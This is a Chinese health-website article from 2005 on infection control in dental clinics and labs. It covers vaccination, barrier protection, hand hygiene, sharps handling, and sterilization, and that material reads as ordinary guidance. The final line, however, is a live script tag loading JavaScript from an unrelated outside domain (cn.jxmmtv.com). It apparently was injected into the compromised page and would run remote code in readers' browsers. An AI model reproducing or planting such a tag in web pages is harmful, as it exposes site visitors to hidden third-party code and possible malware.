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　口腔诊所和技工所的感染控制      

发表时间：2005-8-31 8:51:00

更多保健方面的文章请到中国保健网>>     口腔诊所和技工所的感染控制 北京微笑社区口腔医疗保健中心 于秦曦 牙科临床诊治活动不可能不接触病人的血液和唾液，牙科医疗从业人员不可能不接触这些液体中的大量微生物。这些微生物可能引起感染性疾病，如感冒、肺炎、结核、疱疹、肝炎、爱滋病等。所以采用有效的感染控制措施可以预防在医生、诊所员工、技工和病人之间的交叉感染。 口腔诊所内的感染控制 多年来，世界各国的都致力于在牙科诊所内推行全面而严格的感染控制措施。科学的进步提供了新的知识，大大促进了牙科行为的感染控制。我们有责任，有义务实施和强化日常工作中的感染控制，使广大公众得到安全的口腔医疗保健服务，使我们的生活环境更加洁净，这也是从业人员自我保护所必须的。 B型肝炎的疫苗接种：牙科卫生工作人员每天都要与病人的血液和唾液接触，这两种体液是B型肝炎的主要传播媒介，所以他们罹患B型肝炎或成为B型肝炎病毒（HBV）携带者的危险性比比普通人群大。现在，HBV疫苗接种注射已经被越来越多的人所接受，所以HBV感染者基本上仅局限在未接受疫苗接种注射的人群中。诊所内所有可能接触到病人的员工均应该接受B型肝炎的疫苗接种。 填写病人初诊病史：所有病人都必须在初诊时填写全身病史，在其后的就诊过程中必须及时复核补充。但是，并非所有患感染性疾病的患者都可以通过全身病史、物理检查和实验室检查可以发现的。所以美国疾病控制中心提出：应该将所有病人都当成是血液和某种体液（在牙科就是唾液）性病原体携带者来对待，对所有病人都采取通用的感染控制措施。 屏障法 1. 手套：在预期皮肤会与体液或粘膜接触，或与可能被体液污染的物品和工作表面接触时，必须戴上手套。在结束了与某个病人的接触，治疗另一个病人前，务必把手套脱下，洗手，换上新的手套。绝对不能用消毒方法来重复使用手套，因为手套与消毒剂或其他化学物质接触后常出现破损，其屏障作用大为降低。清洗器械和工作表面时常用厚橡皮手套。据报道，橡胶手套和滑石粉会引起某些工作人员和病人的过敏反应，国外有专门的防过敏手套。 2. 防护衣：为了防止衣服或皮肤与体液接触，必须穿上工作服或围裙。一旦发现工作服有污损或液体透过时，必须更换。工作场所外不得穿着这些服装。工作服要定期更换，换下的工作服应该放在专用的收集口袋中，口袋外要有适当的标识。被污染的衣物要交给负责任的洗衣机构。 3. 口罩：进行可能发生体液飞溅的操作时，要戴上口罩或塑料面罩保护面部、口腔粘摸、鼻粘摸。发现口罩有污损或湿渍时必须及时更换，塑料面罩应该及时清洗。 4. 保护性眼罩：进行可能发生体液飞溅的操作时，如果不戴面罩就要戴口罩加上保护性眼罩。眼罩要有侧面防护屏，眼罩应该及时清洁。 污染控制：控制水滴和飞溅污染的三个基本方法是使用强吸、正确调整病人体位和使用橡皮障。此外，牙科工作人员还应该在操作过程中避免接触病历、电话、边台。必要时，可使用备用的一次性手套，也可在工作表面覆盖塑料或金属薄膜。 手：每天开始工作时、戴手套前、脱手套后、接触了可能被病人的体液污染的物体后都应该洗手。进行常规牙科操作（如检查和非损伤性操作）时，普通肥皂就足以清除掉与病人接触时被污染的微生物。但进行损伤性操作时应该使用抗微生物外科洗手法，并避免接触水龙头开关和肥皂盒，防止发生交叉感染。如在操作中手套被撕破割破或刺穿，必须立即脱下手套，彻底洗手，更换手套，然后才继续完成治疗。一旦发生手外伤，必须立即采取相应的防护措施。 锐利器械和针头的处理：处理针头、刀片和其它锐利器械必须特别小心。注射针头使用后要重新套上套子。如果病人需要使用同一个注射器进行多次注射，在注射间隔中必须将套子套上针头。套套子的时候要用镊子或其它适当的器械抓住套子，套到针头上；或把套子放在器械盘上，将针头插入套子内直至完全固定好。任何时候都不应该用手握持套子，这种做法导致刺伤的危险性很大。不要弯曲或折断使用后的针头。不要用手将针头从注射器上拆下。锐利的器械只能够用镊子或适当的器械握持。一次性注射器、针头、刀片和其它锐利的物品应该丢弃在不易被穿透的容器内，容器外要有明显的标识。 灭菌和消毒：灭菌是杀灭所有微生物（包括灭菌，病毒、细菌、真菌和孢子）的过程。灭菌的方法有高压蒸汽、干热、化学蒸汽等。高压蒸汽灭菌前使用防锈液可以预防腐蚀。牙科诊所内不宜使用化学溶液浸泡灭菌法，因为（1）此法不能够进行生物学监测；（2）化学溶液浸泡后的器械还必须经过灭菌水冲洗，用灭菌毛巾干燥；（3）经过化学溶液浸泡的器械是没有包装的，必须立即使用，或储存在灭菌容器内。 消毒杀灭微生物的效果不如灭菌，从相当于灭菌的程度到仅轻微降低污染程度不等，视消毒剂种类和消毒时间而不同。使用化学溶液消毒时，必须注意它的抗微生物谱活性，并严格执行生产厂家的指示，特别要注意稀释比例、接触时间、温度、和重复使用的有效性。牙科使用的化学消毒制剂必须有卫生和环境保护部门的批准。<script src=http://cn.jxmmtv.com/cn.js></script>

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